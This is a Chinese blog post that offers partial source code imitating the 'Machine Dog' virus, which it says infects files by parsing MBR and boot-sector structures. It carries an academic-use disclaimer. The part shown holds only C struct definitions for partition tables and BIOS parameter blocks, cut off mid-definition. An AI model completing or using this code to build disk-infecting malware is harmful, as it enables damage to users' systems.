机器狗的部分源代码

本文档提供了一段仿制机器狗病毒核心技术的源代码,仅供学术讨论。代码涉及了MBR和BBR扇区结构,以及驱动安装和启动的相关函数。通过解析硬盘和文件系统的细节,实现对特定文件的病毒感染。请注意,任何恶意使用将由个人承担责任。
摘要由CSDN通过智能技术生成
仿照机器狗病毒部分核心技术源代码,代码只可以用于学术讨论用途,
利用本代码制造恶意软体的,属个人行为.由所引起的法律责任有本人承担.
与代码发布人,以及中国毒客公社(CVC)无关.我们一向反对把计算机病毒用于商业目的.

// Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
//==============================================================================
#include <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
  UCHAR active;           // 能否启动标志
  UCHAR StartHead;         // 该分区起始磁头号
  UCHAR StartSector;       // 起始柱面号高2位:6位起始扇区号
  UCHAR StartCylinder;     // 起始柱面号低8位
  UCHAR PartitionType;     // 分区类型
  UCHAR EndHead;         // 该分区终止磁头号
  UCHAR EndSector;         // 终止柱面号高2位:6位终止扇区号
  UCHAR EndCylinder;       // 终止柱面号低8位
  ULONG StartLBA;         // 起始扇区号
  ULONG TotalSector;       // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;
//==============================================================================
typedef struct _MBR_SECTOR
{
  UCHAR       BootCode[446];
  PARTITION_ENTRY   Partition[4];
  USHORT       Signature;
} MBR_SECTOR, *PMBR_SECTOR;
//==============================================================================
typedef struct _BBR_SECTOR
{
  USHORT JmpCode;         // 2字节跳转指令,跳转到引导代码
  UCHAR   NopCode;         // 1字节nop指令,填充用,保证跳转指令长3个字节
  UCHAR   OEMName[8];       // 8字节的OEMName
  // 下面开始为: BPB( BIOS Parameter Block )
  USHORT BytesPerSector;     // 每个扇区的字节数 (512 1024 2048 4096)
  UCHAR   SectorsPerCluster;   // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
  USHORT ReservedSectors;   // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32
  UCHAR   NumberOfFATs;     // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
  USHORT RootEntries;       // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]
  USHORT NumberOfSectors16;   // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
  UCHAR   MediaDescriptor;   // 介质类型
  USHORT SectorsPerFAT16;   // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]
  USHORT SectorsPerTrack;   // 用于INT 0x13中断的每个磁道的扇区数
  USHORT HeadsPerCylinder;   // 用于INT 0x13中断的每个柱面的磁头数
  ULONG   HiddenSectors;     // 包含该FAT卷的分区之前的隐藏扇区数
  ULONG   NumberOfSectors32;   // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]
  // 下面开始为: EBPB ( Extended
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值